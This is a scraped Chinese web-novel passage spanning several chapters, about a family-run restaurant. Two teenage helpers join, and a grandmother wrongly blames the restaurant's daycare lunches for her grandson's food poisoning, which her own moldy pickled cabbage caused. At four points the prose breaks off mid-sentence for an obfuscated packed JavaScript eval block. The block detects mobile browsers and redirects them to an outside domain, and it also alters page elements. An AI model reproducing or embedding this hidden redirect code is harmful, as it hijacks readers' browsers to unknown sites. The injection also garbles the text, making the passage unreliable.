还没到中午，谢阿敏和骆美玲就带着两个有些陌生的面孔过来店里了，彼时后厨已经开始忙起来了。 两个男生的工作时间不算长，中午和下午各两个半小时的工作时间。 要是暑假工确实给餐馆带来了好的效益，那等这个假期过去之后，就打算招两个学徒分担一下后厨的压力。 两个男生有些不情不愿，骆美玲的儿子叫莫聪，谢阿敏的儿子叫谢恣意。 谢恣意人如其名，外表有些混不吝，耳朵上打着耳钉，一米八几的身高快跟大门差不多，说句开玩笑的话，长得像是被谢阿敏拐来的，有点小帅气。 莫聪，微微有些胖，长相憨憨的，脸上是还没褪去的婴儿肥，明显带着些许的幽怨，不知叹了多少声之后，被骆美玲狠狠地掐了一把。 莫聪吃痛出声，在骆美玲的眼神威胁之下没再发出别的声音，安静地站在谢恣意旁边撇嘴。 骆美玲和谢阿敏打量着店面，她们是第一次过来，小店店面虽然不大，但是格外干净和整洁，后厨也因为苏婉这段时间在的原因，苏文也慢慢改掉了平时在后厨满桌子都是东西，等到饭点结束需要收拾一个小时的情况，异常规整，每样东西用完之后都习惯性的放回原本待着的地方。 谢阿敏这人直白，见店面不大，她有些担心。 “林慧啊，我看你们店面也不算大，招两个人可以吗？会不会....” 一旁的骆美玲没说话，听谢阿敏问出这个问题，明显她心里也是这么想的，侧着头听着。 林慧看出她俩的顾虑，笑了笑，指着收银台上的外卖机。 “我们呐，堂食人虽然不多但也不少，中午晚上都是满席的，主要就是靠外卖，附近写字楼那些白领中午不到店但是都吃我们家外卖。” “我们中午啊，还接了一家托管班的午餐，光是这就四十几份餐嘞，你们怕他俩没事情做，我还怕你们俩觉得孩子太辛苦不让在我这干呢。” 姐妹两人对视着，都从对方眼里看出了惊讶。 她们真的没有想到，这其貌不扬的苏厨小炒生意竟然这么好？ 没让气氛冷下来，谢阿敏上前一步握着林慧的手，眼眶里好似含着泪。 “哪会呀，我呀，就是怕你们撑面子，要是实在困难我们就带一个孩子回去不妨事，既然你这么说了，那我们肯定是踏踏实实干的呀，多辛苦都没事，孩子这个年纪就是要多吃点苦，再说了，再苦能苦了他俩啥？一家饭馆还愁吃不饱？” “话说到这，你可别嫌这俩娃吃饭吃的太多给我送回来了。” 林慧闻言也是笑出了声：“放心放心，饭菜管够，吃不饱我额外多做都让他俩吃饱。” 谢阿敏在一旁笑着，骆美玲也总算是开了口：“林慧，谢谢你想着我们临水巷的人，巷子里年轻人确实不多了，这两年该搬得都搬走了，留下的也就我们几户，剩下都是些不愿离开故土的老人家，所以我们就带了我们俩的孩子来，如果有更好的选择，我一定是想要帮助临水巷过得更困难的人家。” 林慧闻言深深叹了口气。 自女儿跟她说过之后，她也是这么想，林钰的疯又何尝不是所有临水巷居民的无奈。 几个女人之间没再有更多的言语，可对视时不自觉的笑，就已经表明，心已经在偷偷的拉近。 ... 莫聪和谢恣意两个人，进到后厨帮忙很快就上手。 特别是谢恣意，虽然面上看着像个混不吝脾气不好的人，却出乎意料地是个沉默寡言容易害羞的性子，林慧只是在他洗菜的时候随口问了一句有没有女朋友，谢恣意没有说话，却被一旁的苏文发现这小伙子耳朵通红。 苏文当下便乐了：“小伙子这么容易害羞呢？” 谢恣意还是没说话，手上动作却越发快了起来。 比起谢恣意的沉默寡言，莫聪虽然也老老实实地在干活，但是明显心思就不在这上面，不过... 饭点过后，莫聪送完最后一单回来。 一走进饭馆之后扑面而来的冷气让他情不自禁道：“太爽了！” 与此同时，后厨一道刺啦声响起，是泼热油的声音。 今天中午的员工餐是辣子鸡丁、水煮鱼片、菌菇汤。 林慧上午问起两人的饮食习惯的时候，苏婉特意听了听，知道两人都爱吃辣菜，苏婉心念一动，她馋水煮鱼了。 水煮鱼不好外卖，小炒就不做这个，加上林慧平日里吃饭比较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407139|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注重清淡，虽然不是不能吃，但是一家人没有外人在场的情况下林慧也是不会允许苏婉做这么刺激性的食物。 从莫聪闻到水煮鱼这霸道的香气开始，他就一句话都没有了，更别说夹起第一块鱼肉进嘴里，给人的第一感觉就是麻！花椒粒的麻香，像是舌尖上有人在跳霹雳舞，麻的爽且享受。 再感觉就是辣！辣的过瘾！又香又辣，一口接着一口，欲罢不能，待一片、两片、三片...入了口，莫聪和谢恣意额角的汗渍慢慢汇聚成了汗珠，两人对此毫无察觉，只一味盯着自己面前的餐品，这辣子鸡丁，外酥里嫩，在辣椒堆里找肉，酥香脆嫩的感觉简直让人欲罢不能。 店里三人看到俩人这吃法，也是习以为常。 苏文的脸上都是自豪的神情，待苏婉回家开始接手餐馆的后厨工作之后，只要是顾客在店里吃饭，不管是第一次还是来了好几次，无一例外都是这样的神情。 稍微凡尔赛一点的说法就是，苏文早就已经习惯了。 待莫聪吃完，他朝着苏婉抱拳：“姐，你真牛我佩服你。” “做的东西太好吃了，我说怎么这家小饭店生意这么好呢，我本来还想跟我妈说，干完今天我就不干了，因为姐你的厨艺我改变主意了，我干！干的就是骑手！干的就是小工！就算是为了这口饭我也要好好干！简直太香了！” 最后还加上了一句颇为大逆不道的话：“跟你做的菜比起来，我妈做的那些东西简直了，根本就不感兴趣了直接！” 谢恣意点头，也表示同意。 五个人都笑得不行，至此，苏厨小炒假期的在职员工就这么定了下来。 一直到下午饭点过了之后，卤汁才彻底做好，把高汤和卤水混合，加了些盐、冰糖....调味，煮开之后转文火炖了两个小时，才算是完成。 接着，将处理好的鸭货完全浸泡在烧沸的卤汁里，大火烧开之后转文火，盖盖炖煮35分钟，一定是文火，也就是大概95℃左右，不能多也不能少，时间短了不入味，时间长了肉就会脱离骨头。 待35分钟一到，苏文关火，让卤货在卤汁里浸泡差不多四十分钟才拿出来，晾凉晾干。 苏文拿了个鸭脖给女儿尝味道。 苏婉点头，她是满意的。 “冰糖感觉放多了些，我个人感觉有点甜了，但是影响不大。” “下次这个鸭脖还是得自己拿东西腌，虽然这买来的腌制料也合规但是口感没达到我想要的，如果肉质更紧实一点就完美了。” 苏文吃了一口，嚯！这也太好吃了！ 随后看向低着头把鸭脖拿着一直在研究的女儿，真是...太严格了... 这锅卤味卤好，刚好是八点出头的时间，晚上的卤味时间莫聪和谢恣意不需要在场，苏文打包了一部分给他们俩带回家里去吃。 两个男孩倒也不好意思，帮着苏文将东西全都拿出来之后才走的。 卖卤味了之前的设备就不太够用，苏婉要做卤味前一天，让林慧在次日达的购物平台上买了专门的商用熟食冷藏柜，花了快两千块钱。 给林慧一阵肉疼。 这卤味毕竟不是主要的营业项目，一次也不能卤太多，卖不出去这可不好保存，要回本的话也算是任重道远... 12. 012 自上次星星在托管班哭了之后，星星奶奶就没怎么插手星星午饭问题。 刘莹迎发现，自家儿子上这个托管班真是上对了。 星星在家里算是个小霸王，奶奶溺爱，爹是甩手掌柜，她倒是想管，可每次刚开始，就会因为工作打断，所以给星星养的有些任性。 星星奶奶在家的时候，常带他去吃什么炸鸡、汉堡，再不济就是在家里买一堆的薯片、辣条、饮料，星星也就才10岁的年纪，体重已经飙到一百斤出头了。 在托管班待了这段时间之后，虽然变化没有特别明显，但是总感觉没有那么肉实了，也没天天嚷着要吃点垃圾食品，天天催着奶奶把自己送到托管班。 于是这段日子里，刘莹迎和婆婆相处的倒也算是和睦。 刘莹迎今天又加了班，回到家已经是八点半。 还没进家门，就听到儿子喊着肚子疼，受不了。 刘莹迎赶忙把门解锁，鞋都没心思换就跑进来。 只见星星蹲在地上，手一直捂着肚子，额头上冷汗不停地在留。 刘莹迎一边查看儿子的情况，一边就要把儿子拉起来准备送去医院。 星星奶奶也很手足无措。 “哎哟...哎哟这是怎么回事哦...怎么就突然肚子疼啊。” 刘莹迎抱不起儿子，只能让儿子把绝大多数的力卸在她身上，扶着儿子下电梯到地下停车场。 星星奶奶没跟过来，刘莹迎也没有太过关心，一心只想着把儿子送到医院里面去。 ... 与此同时，托管班的午餐群已经被闹翻了天。 星星奶奶：@王会心（着急没回复可以多发几条）@苏厨小炒你们出来。 星星奶奶：你们托管班的午饭有问题，我孙子吃完之后现在已经进医院了，我要你们赔钱！ 星星奶奶的语音声音又尖锐又带着愤怒。 此时正是大多数人居家的时间，群里很多人都看到了消息，包括王会心。 王会心刚刚洗完澡出来，就看到午餐群有人@自己的消息，且群内消息已经有三十多条。 除了最上面星星奶奶的两条消息之外，下面也很快有家长出来说话。 【不应该吧，我家孩子肠胃炎，一吃不卫生的东西就肚子疼，她都生龙活虎的，还跟我说中午又做了蛋黄鸡翅很好吃呢。】 【我家孩子也是呀，最近去托管班都特别期待，就想吃中午那口饭，晚上回来还嫌弃我做的东西，说让我去人家店里买，晚上我们吃的也是苏厨小炒，好吃的呀，我们都吃了没问题。】 【@星星奶奶你家孩子是不是吃了别的东西所以肚子疼，你搞错了吧？】 【我也觉得可能是搞错了，我听我家孩子说星星平时喜欢吃一些油炸食品，是不是油炸食品吃多了导致的。】 【这家店很不错哦，味道和卫生都过关，我还去人店里看过，应该不会出这种情况的。】 见群内的舆论风向都偏向午饭没问题，星星奶奶黑着个脸，接着发语音。 阴阳怪气说着：“哎哟，你们家孩子都是什么糙身体，我们家星星肠胃金贵的很，说不定你们这些人都是收了钱替那老师和那厨师说话的，我看你们根本就不是什么家长，都是骗子，专门骗人出高价托管费用在你们这，谋财害命！” ... 又吵了很多层楼之后，王会心回复消息。 王会心：【星星奶奶，没有确切证据之前希望不要乱说话。】 王会心：【小朋友出现身体问题我们也很担心，但是不能一上来就咄咄逼人，且群里都是孩子家长，也有不少关心星星的家长，您这样说话实在有些不太妥帖。】 苏婉一行人刚回到家，手机路上叮叮咚咚的已经注意很久了，因为是工作手机害怕漏掉顾客消息，群消息也都是没有屏蔽的。 只不过大家手上都拿着东西，到了家之后林慧才让苏婉把手机拿出来看看是发生了什么事情。 苏婉打开手机，一看到那群里几十条消息和[有人@我]的提醒就已经眉头紧皱了，一点开群聊看到最开始发消息的人是星星奶奶更是皱的仿佛能够夹死一只苍蝇。 苏婉就没见过这么难缠的家长。 把消息从上翻到下看完事情经过，苏婉大概都已经知道了，不过就像王会心说的一样，她没有任何证据说明就是苏厨小炒的东西出了问题。 不能让王会心一个人站在炮火中央。 苏婉的手指在手机屏幕上飞快打着字。 苏厨小炒：“您好这位家长，我是苏厨小炒的主厨，我能够保证我们后厨干净卫生，且我们每日出品的餐品都是当天去菜市场采购新鲜食材回来做的，绝对不会有这种问题的发生，但是也不排除星星这个孩子对餐品有过敏的可能性，但每日订餐之前都有确认餐品才转账，如果有致敏物质的话应该提前告知才对，或者是另一种原因，下午离开托管班之后是否有吃一些别的东西呢？可能这才是导致星星不舒服的原因，毕竟班里有四十多个人，如果是餐品问题应该不能只有星星一个人出问题。” 发完这一长段消息之后，苏婉点开王会心的私聊。 王会心：“这个家长也是第一次来我们托管班，但是很多家长确实会...所以也是没办法的事情，只能说不好意思请见谅了。” 苏婉明白她的省略号是什么意思，也表示理解。 苏厨小炒：“没事的王老师，您也辛苦了，让她和我说吧，您不用插手了，如果真的是因为我们的餐食出了问题的话我们也愿意负责。” ... 星星奶奶像是没看到这一长串的话。 接下来的语音愈发粗俗不堪，无法入耳。 最后说了一句：“我儿媳妇一会就带着星星回来了，等着吧你这丧良心的店，给孩子吃的东西都这么不卫生，我一定要告你们，让你们店开不下去！” 说完，也没了声息。 林慧自收拾好东西之后也一直关注着事情的发展，听星星奶奶说了这话，即使心里头对自己家的卫生有自信，也不免心头一紧。 “怎么办，不会真是我们有问题吧？不然她也不能这么理直气壮的。” 苏文也有些担心，但又觉得不可能。 “不会的，每天卫生我们一起做的，不可能有问题。” 苏婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407140|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头。 “爸说的对，就算真是我们的问题，也不会就只有这一个孩子吃出问题，还是等她后面怎么说吧。” 林慧叹了口气，那也只能这样了。 等待的时候总是煎熬的。 不管是苏婉一家子，还是在等待结果的刘莹迎。 江市第一人民医院。 挂了急诊之后，医生对星星进行了一系列的检查，也询问了星星这一天的饮食。 中午吃的蛋黄鸡翅、宫保鸡丁和糖醋排骨。 晚上吃的是奶奶做的酸菜鱼。 医生大概了解之后，依旧是从食物下手，给出的报告写着的也是疑似食物中毒引发的急性肠胃炎。 开了药很快就回家去了，彼时丈夫也已经回了家，刘莹迎一带着孩子进门，就听到婆婆在和丈夫数落自己。 “你看看你娶回家的好媳妇，花那么多钱送去什么鸟屎托管班，花的都是你的钱！又贵又丧良心，把星星都吃进医院去了，你还不出来说话，你还帮着她！我这个妈都在家里了，她不愿意把孩子交给我来带交给外人？她到底眼睛里有没有我这个妈。” 丈夫哄着她：“妈，这次是小莹的错，等她回来我就说她，然后把托管班费用退了投诉那家托管班，您也别跟她生气，她这人就这样你又不是不知道，跟她计较那么多干什么呀。” 婆婆无论怎么说她都无所谓，刘莹迎也没有奢望过自己的爱情变成了亲情之后依旧能够一帆风顺。 只不过亲耳听到自己的丈夫在他的母亲面前毫不维护自己，单凭着一面之词就给定了罪，这才是刘莹迎觉得心寒的地方。 听到门发出的动静，丈夫马上闭了嘴，用手肘捅了捅自己的母亲。 刘莹迎把他这动作看在眼里，心下冷笑。 星星奶奶走过来拽住星星：“来，奶奶看看，时不时那家毒托管班害你变成这样的？” 刘莹迎不想放手，没成想婆婆的手劲这么大，刘莹迎怕把儿子扯疼了，还是放了手任由婆婆带着孩子走。 丈夫看儿子没什么大问题，只是面色还有些虚弱，看向刘莹迎的眼神也有些责怪的意味在。 “老婆，所以是什么原因儿子肚子疼啊？” 刘莹迎把病历单放在茶几上，淡淡道：“食物中毒引起的急性肠胃炎，星星估计是今天吃错东西...” 刘莹迎话还没说话，一道惊叫声把她的话打断：“什么！我就知道！” 星星奶奶：“你们等着进去吧，病历单已经在我手里了！” 二话不说就要把病历单拍照发群里。 “这个垃圾店和老师，我要把你们全部都送进去。” 刘莹迎上前拦住她：“你干嘛呀？” 星星奶奶推了刘莹迎一把：“我干嘛？我还想问你呢？你是不是想害死我孙子？我早就想说你了，你家父母不负责不带孙子也就算了，我要带还不让我带，现在好了星星出事了，我要举报还不让我举报，这个时候知道要面子了？晚了我告诉你刘莹迎，花着我儿子的钱害着我儿子的亲骨肉。” 星星奶奶说到这气急，一甩手。 “我们陈家没你这个儿媳妇！” 13. 013 刘莹迎冷哼一声，见丈夫还是没有反应，她没再犹豫，先把儿子送回了他的房间。 桌子上的酸菜鱼还剩很多，刘莹迎毫不犹豫从冰箱里拿出那一缸酸菜。 一打开盖子，就闻到一股子臭味，熏得眼睛都快要睁不开，仔细看去，里面漂浮着黑色的霉斑和白色的绒毛。 “来，你告诉我，你是不是用这个酸菜做的酸菜鱼给我儿子吃？” 刘莹迎死死盯着星星奶奶，仿佛要在她脸上盯出一个洞来。 星星奶奶被刘莹迎盯得有些发怵，依旧梗着脖喊道：“是啊怎么了！我特地从老家带过来的，给我孙子做顿饭还要你同意我才能做？” 刘莹迎没再跟她对峙，转头对着自己的丈夫。 刘莹迎已经彻底清醒过来了，她面对着这个相恋十年的爱人，指着那一缸子飘着霉菌的酸菜。 不正常的味道已经散到整个屋子里了，即使刘莹迎不说，陈旭也知道是怎么一回事。 他走上前把妻子的手握住，抢先开了口：“老婆，你看妈她也不是故意的，今天动静闹这么大累坏了吧？早点洗澡休息吧。” 刘莹迎一把扯开陈旭：“你妈做的东西要是再更毒一点，你知道会发生什么事情吗？一句轻飘飘的话就过去了？我刘莹迎过不去。” “这一缸子酸菜，就是我要把儿子送去托管班都不要让她带的原因！” 陈旭脸黑的像锅底一般，他走两步上前，小声但咬牙切齿着说：“我已经跟你道歉了，星星也没出什么事情，你非要揪着事情不放吗？差不多得了！” 刘莹迎根本不想再看到这对恶心的母子：“我差不多得了？如果今天真的是因为托管班的餐食出了问题导致星星食物中毒，你会这么说？她会这么说？” “还有。”刘莹迎看向星星奶奶：“你总说我花你儿子的钱，你的好儿子陈旭好面子，让我忍一忍我忍了，但是不好意思，我现在忍不了了。” 陈旭肉眼可见的慌张，他上前想把刘莹迎拖回房间里，刘莹迎根本不动，对面的星星奶奶更是不让她儿子动手。 “让她说！我倒要看看，我儿子对这个家的付出能被你说成什么样！” 刘莹迎笑着对星星奶奶点点头：“好啊，我就告诉你，告诉你你儿子根本没什么能力，到现在这个位置全都是因为在我爸公司上班，我告诉你，这套房子是我买的，我告诉你，你儿子每个月都省不下来钱是我把我的工资分了一半给他让他给你们，我告诉你，你儿子一进公司就借着我的名义想当经理，结果没能力差点连实习期都过不了。” 一口气说完，陈旭已经没办法再抬头面对自己的母亲。 星星奶奶看到儿子这幅样子，就知道儿媳妇说的是真的... “不可能...不可能...” 喃了两声之后，她不知是想了什么，又恢复了趾高气昂的语调：“就算是这样那又怎么样？你有资源，我儿子为什么不用？本来就是夫妻的共同财产！” 刘莹迎点点头：“你说的没错。” 星星奶奶见刘莹迎这个样子，认为她知道错了，抬着头：“这次的事情既然是个误会那就算了，这酸菜明天你处理了，给我点钱，既然我儿子没钱，那就更不能让他出钱给我们了。” 刘莹迎真是被她气笑了：“我说你说的没错，是因为我当时恋爱脑，一切都是我咎由自取，但是现在不是了，房子是我的，但是房产证是我爸的名字，现在，我请你们出去。” 说完这句话，客厅死一般的寂静。 刘莹迎转过头对着陈旭：“我们离婚吧。” 说完这句话，刘莹迎没再给他们机会再说话，以一种不容拒绝的姿态去了儿子房间，带着儿子进了主卧，出来之后，用钥匙把所有能住人的房间都上了锁。 对着那母子俩晃了晃手里的钥匙，又走进主卧，利落地锁上了门。 ... 群里此时已经炸开了锅。 原先信任她们的家长也开始动摇。 【如果你们的餐品真的有问题的话，麻烦店家和托管班方给出一个合理的解释。】 【我们花了这么多钱上这个托管班，不是为了听到这样的消息。】 【我同意上面家长的说法，我前面信任商家和老师，现在星星奶奶说话这么笃定，我也想请商家方给出自家店铺没有问题的证明。】 苏厨小炒：“我们的后厨环境是非常干净卫生的，每天的食材都有留样保存到冰箱，明天我们店内会将原材料留样送去专业机构检测。” 苏厨小炒：“当然，我们保有店铺的合法权益，如若检测出来并非店铺的问题，也不需要@星星奶奶承担任何结果，但是本店将不会再接待您和您的家人。” 长久的寂静。 @王会心（着急没回复可以多发几条）邀请@刘莹迎加入了群聊。 刘莹迎：“大家好，我是星星妈妈，这件事情从头到尾都是一个误会，王会心老师已经和我说过了，星星食物中毒是因为星星奶奶给星星食用了严重发霉的酸菜制作的酸菜鱼，所以才发生这样的事情。” 刘莹迎：“我很感谢@苏厨小炒的负责，也很抱歉对你们造成的影响。” 苏厨小炒：“孩子没事就好【握拳握拳握拳】” 王会心：“很抱歉让各位家长看热闹了，闹事的星星奶奶在和星星妈妈的沟通之后也已经移出群聊了，后面都是星星妈妈和大家在群里进行交流，大家放心食用我们的午饭，苏厨小炒是一个非常负责卫生的餐馆，也希望各位家长和孩子都能度过一个愉快的暑期。” 这之后，这件事情也就这么过去了。 林慧一脸后怕，她真是第一次遇到这样的事情。 “还好不是我们的事情，不然的话都不知道怎么证明自己。” 苏文也如释重负，但他没有林慧那么焦心，摇摇头说：“放心吧，女儿每天的餐品原料都会留样，有一个抽屉我不是不让你往里面放东西吗?那就是专门用来装留样的抽屉。” 林慧恍然大悟：“原来如此，我说怎么女儿说可以去检测。” 苏婉：“开餐厅这是必要的，因为我们也不知道什么时候就会出问题，所以一定要每一点都做到合法合规，才能在关键时刻能够不掉链子。” 苏婉也有点劫后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407141|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余生的庆幸，口碑问题是最重要的，星星奶奶这一闹，苏婉担心怕是有家长就不会订餐了。 不过也能理解，就算是她自己，在了解有这么个情况之后也多多少少会有些不太想再订餐。 十点半，苏婉想好明天的菜单之后发给了林慧。、 苏厨小炒：“明日午餐：番茄炒蛋+小炒黄牛肉+蜜汁烤翅，餐标20，想预定的家长直接群内转账就可以，如果有忌口的可以提前通知。” 一瞬间，群里齐刷刷地都是转账消息。 跟苏婉想的一样，确实少了十几个平时会订餐的家长。 意料之内的事情，倒也没怎么影响苏婉的情绪。 转账都还没收，一般都是在第二天出餐之后才会收款。 苏厨小炒：“谢谢大家的信任，我们会把品质做到更好~” 杨凯乐爸爸：“有啥谢不谢的，东西好吃我们就愿意买单，我私底下也点过你们店里的东西，比我平时吃的外卖好吃多了，高标准的餐食这个价格，我儿子上学之后也在你们家订餐！” 杨凯乐爸爸的话一下子炸出好多家长。 【是啊是啊，刚刚真是抱歉啊，也是关心则乱了。】 【我可是一直相信你们不会有问题，就凭我女儿是玻璃胃吃你们家东西一点问题没有我就会一直点你们的，我说实话，比自家做不知道干净多少，我家女儿平时吃我做的饭都有时候闹肚子...】 【哈哈哈哈哈，我家根本不会做饭，自己平时都是点外卖的，家里老人又不在家，能吃到你们家这么干净的我都觉得是捡到宝了。】 ...... 过了十来分钟，那十几个家长都给苏厨小炒的账号转了账。 但究竟是因为没看到手机所以没有即时转账，还是看了大家的留言之后才转账。 这就不得而知了。 - 第二天中午，莫聪和谢恣意跟苏父闲聊的时候听到苏父说这件事，两个人都义愤填膺。 “这个星星奶奶真是...让人很难评价。” “我说也是，哎，不过也不知道后面发生什么了，怎么星星妈妈就来了呢。” ... 江市某处出租屋。 星星奶奶看着被炒了之后一蹶不振的陈旭。 既恨铁不成钢又抱着点幻想问：“怎么说，那败家的真这么绝情？好歹你是星星的爸啊。” 陈旭现在看到他妈就烦，但还是耐着性子：“在等离婚冷静期。” 星星奶奶：“女人二婚就不值钱了，况且还带个儿子，你去，去和她说，说要是要离婚你不要儿子，反正你还年轻，刚三十，男人三十岁可比女人值钱，带着孩子还说得过去，女人有了孩子在社会上怎么生存，你就这么威胁她！让她求你不离婚！” 星星奶奶说到激动的时候推搡着陈旭，看着因为那一推死掉的游戏人物，陈旭忍不住爆发。 “我现在这样还不是因为你！她巴不得我不要孩子，她有钱抚养权我们也争不过，你能不能别给我添乱了，我看到你就烦。” 语毕，陈旭摔门而出，这件事也算了了。 14. 014 托管班这件事情结束之后，过了一段安稳日子。 店里的生意不好不坏，每日纯利在500-700的区间，不包括托管班在内。 托管班的利润不高，一天的收入除去莫聪和谢恣意的工资之外，店里的水电和自己吃饭的钱也能由着这部分收入抵消。 ... 今早来店里之前，苏婉到超市买了两斤的糯米。 苏婉昨晚临睡前刷短视频刷到纸皮烧麦，就有些馋了，她也好久没吃过纸皮烧麦了，这段时间不算很忙，准确地来说，是这两个帮工来了之后就没有很忙，所以她可以有更多时间做自己想做的事情。 糯米是在饭点前就泡上了，所以这会上锅直接蒸就可以，蒸30分钟。 后面就是把泡好的干香菇、火腿、洋葱、胡萝卜切成小颗粒，五花肉剁成肉末，苏婉还喜欢腊肠，也切成了小丁放进去。 配料的话就是想吃什么放什么，没有太多的讲究。 油热之后下猪油，猪油的味道比较香，炒出来的东西更有味道，先是把洋葱碎倒进去煸炒金黄，随后倒入五花肉，再淋上一圈料酒。 最后才加入香菇丁翻炒均匀。 每次苏婉做菜对于俩小工来说都是一种享受，坐在前厅光是闻着都特有满足感。 所以即使他们俩现在可以走，都一定要留下来，不仅是为了吃，他们来了之后发现打工的日子好像也没有想象中那么无聊，苏叔很和善，重活很少让他俩干，也很大气，时不时会给点钱让买些解暑的东西回来吃。 林姨很温柔，每次跑完回来热的满头大汗，林姨总是第一个跑上来，给他们俩擦汗。 苏厨小炒的整个磁场就给人一种很舒服的感觉，有时候莫聪甚至感觉这里比在家里待着还舒服。 或许是因为，这里是苏厨小炒吧。 ... 倒入所有的调味料：生抽、老抽、蚝油、糖、胡椒粉...炒出酱香味。 准备好这些之后，糯米饭也已经蒸熟了，糯米饭胶黏胶黏，蒸的很漂亮。 接过苏父焯过水之后沥干了水分的胡萝卜和青豆，和糯米饭混合起来一起倒进去翻炒均匀，全程用中小火翻炒，让米粒均匀地裹上油脂。 苏婉舀出一勺糯米饭，淡了些。 大手一挥撒入一勺盐和两勺生抽，又舀出一勺糯米饭，满意地点点头。 味道刚好。 正常如果在家里做，其实不需要刻意制作面团，去市场里买饺子皮，擀成直径为15cm左右的大小就可以。 但是在店里就不同了，还是需要做专门的面团好一些。 准备的东西很简单，中筋面粉、土豆淀粉、盐。 准备好相对应量的克数之后，将开水以打圈的方式倒入混合好的面粉中。 一边倒一边搅拌，直至变成絮状。 稍微没这么烫手之后，就可以下手揉成光滑的面团，放进保鲜盒里静置半个小时左右。 这样做是为了让面团后续擀面的时候能够不回缩。 接下来的步骤就不需要苏婉操作，对于面团，林慧操作起来比苏婉更加得心应手，本来就是北方人不说，平日里林慧也爱研究一些蛋糕面点之类的东西，只是对于炒菜这方面林慧不擅长。 苏婉倚着墙看着，只见林慧将面团从保鲜盒里取出来，对于苏婉来说无比沾手的面团在林慧的操作之下变成了一长条，随后被林慧切成了一个个大小一致的小剂子。 再之后，林慧倒出大量的土豆淀粉撒在揉面垫上，又抓取了一小把抹在手上和擀面杖上。 将小剂子揉成团后按扁，用擀面杖在面团边边的位置一边按压一边转动着面团，中间部分依旧是厚的，可以承托住馅料，边缘随着大小越来越大，也出现了一些褶皱并且变得非常薄。 最后呈现出来的面团就是又大又薄，大概也在15cm左右。 将皮擀好之后也不过才两点。 林慧指挥着苏文拿一次性的大桌垫把桌子给铺上，又吩咐莫聪和谢恣意把馅料和面皮拿出来。 谢恣意不见踪影，林慧也没想太多，让苏婉去帮莫聪一起把东西拿出来。 过了几分钟，只见谢恣意从门口进来，手里拿着咸鸭蛋和一袋芝士碎。 苏婉两眼放光地接过，回到厨房，麻利地将咸蛋黄取出来，把芝士倒进碗里。 等出去之后，所有人都已经戴好手套等苏婉指令了。 苏婉把咸蛋黄和芝士摆上桌。 “你们正常包就行，莫聪和谢恣意不会的话就多看看再下手。” 两人听话的点点头。 看着林慧的动作一步步跟着做，生疏的动作做了两个之后，也开始熟稔地步入正轨。 苏婉见没有太需要自己操心的部分，就开始安心制作自己的拉丝纸皮烧麦。 糯米蒸的很好，苏婉将馅料团成球，用手抠出一个刚好能放入咸蛋黄的大小，又撒了些芝士碎上去，再次团成球之后用“纸皮”包起来，用包包子的手法包好。 外形神似蟠桃又有着褶皱，一个非常漂亮的纸皮烧麦就此诞生。 苏婉包好之后非常臭屁地举到两人面前。 “来，以我这个非常漂亮的烧麦为标准。” 莫聪作求饶状：“女侠，俺做不到啊。” 苏婉傲娇仰头：“今天你必须做出来，不然的话就是不给我苏某人面子。” 莫聪夹着嗓子，低眉顺眼说着：“喳。” 虽然说的话前言不搭后语，但年轻人总是能get到莫名其妙的笑点然后笑作一团。 苏文和林慧虽然看不懂孩子们的冷幽默，但也不会扫兴，手上动作不停，也以温柔任其胡闹的眼神盯着几个小孩打闹。 ... 一共做了有四十五个纸皮烧麦，各个圆润饱满，包起来不算是什么技术活，所以看着都做的差不多，没有特别磕碜的存在。 每一个底下都垫上了蒸笼纸，待水开之后把蒸笼放上去，盖上盖子蒸八九分钟，馅料本来就是熟的所以只需要将“纸皮”蒸熟就可以。 出锅之前，用个小喷壶把纸皮稍稍喷湿，这样就可以防止纸皮变干影响口感。 第一锅已经出炉，一开盖子白雾瞬间都涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407142|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出来。 苏文将烧麦端出来放进盘子里，端到外面大厅，两大小伙子馋的两眼放光。 也不顾烫不烫，拿起来就吃。 蒸出来的纸皮烧麦非常漂亮，因为加了土豆淀粉和擀得薄的原因，纸皮近乎透明，酱色的糯米清晰可见时不时还可见一些黑色的香菇粒还有一些绿色的、红色的还有黄色的... 